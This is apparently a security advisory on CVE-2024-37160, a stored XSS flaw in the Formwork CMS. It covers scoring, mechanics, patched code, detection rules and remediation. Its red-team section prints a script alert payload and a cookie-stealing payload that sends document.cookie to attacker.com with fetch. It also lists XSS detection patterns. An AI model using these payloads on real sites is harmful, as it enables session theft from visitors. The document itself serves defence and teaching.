CVE-2024-37160

Executive Summary

CVE-2024-37160 is a stored Cross-Site Scripting (XSS) vulnerability in Formwork, a flat file-based Content Management System (CMS). An attacker with administrator privileges can inject arbitrary web scripts by modifying site options via the /panel/options/site endpoint. This vulnerability allows for persistent attacks, affecting all visitors across all pages (except the dashboard). The vulnerability is fixed in version 1.13.1. The CVSS score is 4.8 (Medium), and the EPSS score is 0.0%, indicating low exploitation likelihood currently. No public proof-of-concept (PoC) or exploit code is available at this time.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a direct vulnerability in the Formwork CMS application itself.

CVSS Breakdown & Threat Level

• CVSS Score: 4.8 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): High (H) - Administrator privileges are required.
• User Interaction (UI): Required (R) - The attacker must trick an administrator into performing an action (e.g., clicking a link) or the attacker themselves must be an administrator.
• Scope (S): Changed (C) - The impact is on resources beyond the vulnerable component.
• Confidentiality (C): Low (L) - Limited information disclosure.
• Integrity (I): Low (L) - Limited modification of data.
• Availability (A): None (N) - No impact on availability.

Threat Level: Medium. The requirement for administrator privileges reduces the immediate risk, but the persistence and broad impact on all visitors make it a significant threat for targeted attacks.

Deep Dive & Mechanics

The vulnerability resides in the site options functionality of Formwork's admin panel. The /panel/options/site endpoint allows administrators to modify various site-wide settings. Due to insufficient input sanitization and output encoding, an attacker with admin access can inject malicious JavaScript code into these settings.

When a visitor loads any page (except the dashboard), the injected script is executed in their browser. This is a classic stored XSS attack, where the malicious payload is stored on the server and served to all users.

Attack Flow:

1. An attacker gains administrator privileges (e.g., through credential theft, social engineering, or another vulnerability).
2. The attacker navigates to /panel/options/site.
3. The attacker injects a malicious JavaScript payload into one of the site option fields (e.g., site name, description, footer text).
4. The payload is stored in the flat file database.
5. When any visitor (including other administrators) loads any page on the site, the payload is executed.
6. The attacker can then steal cookies, redirect users, deface the site, or perform other malicious actions.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-1.13.1): The vulnerable code likely lacks proper output encoding when rendering site options in page templates. For example, in a PHP template file:

<?php echo $site->description; ?>

This directly outputs the value without escaping, allowing script injection.

Patched Code (1.13.1): The patch introduces proper HTML encoding using functions like htmlspecialchars() or a templating engine's auto-escaping feature:

<?php echo htmlspecialchars($site->description, ENT_QUOTES, 'UTF-8'); ?>

This ensures that any HTML or JavaScript in the input is rendered as text, not executed.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Administrator credentials for a Formwork instance (version < 1.13.1).
• Access to the /panel/options/site endpoint.

Exploitation Steps:

1. Log in to the Formwork admin panel.
2. Navigate to Site Options (typically at /panel/options/site).
3. In the "Site Description" field, inject the following payload:

   <script>alert('XSS')</script>
   

4. Save the changes.
5. Visit any public page on the site. The JavaScript will execute, displaying an alert box.

Advanced Payload (Cookie Stealing):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection Steps:

1. Monitor admin panel access logs for unusual activity on /panel/options/site.
2. Review site option values for suspicious HTML or JavaScript content.
3. Check for unexpected outbound network connections from the web server.
4. Use web application firewalls (WAF) to block common XSS payloads.

Lab Setup:

1. Download Formwork version 1.13.0 from the official GitHub releases.
2. Install it on a local server (e.g., using XAMPP or Docker).
3. Create an admin account.
4. Perform the exploitation steps above to confirm the vulnerability.
5. Upgrade to version 1.13.1 and verify the fix.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains containing document.cookie or similar data.
  • Unusual POST requests to /panel/options/site with HTML/JavaScript content.
• File IOCs:
  • Modified site configuration files (e.g., site.json or similar) containing <script> tags.
• Behavioral IOCs:
  • Unexpected JavaScript execution on all pages.
  • Unauthorized changes to site options.

Detection Engineering

YARA Rule

rule Detect_Formwork_XSS_Payload {
    meta:
        description = "Detects potential XSS payloads in Formwork site options"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-37160"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_event = /on\w+\s*=\s*["']?[^"']*["']?/i
    condition:
        $xss_payload or $xss_event
}

Sigma Rule

title: Formwork Stored XSS via Site Options
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-37160 by injecting XSS payloads into Formwork site options.
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/panel/options/site'
        cs-uri-query: '*<script>*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in site options (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-37160 Formwork Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/panel/options/site"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Formwork to version 1.13.1 or later.
2. Review and sanitize all existing site option values for any injected scripts.
3. Change all administrator passwords to prevent unauthorized access.

Long-term Mitigations:

1. Implement Content Security Policy (CSP) headers to restrict script execution.
2. Use a Web Application Firewall (WAF) to block common XSS patterns.
3. Enforce least privilege for admin accounts.
4. Regularly audit admin panel access logs.
5. Apply input validation and output encoding to all user-supplied data.

Workaround (if patching is not immediately possible):

• Restrict access to the /panel/options/site endpoint using IP whitelisting or VPN.
• Manually sanitize all site option inputs by removing HTML tags.

Valters IT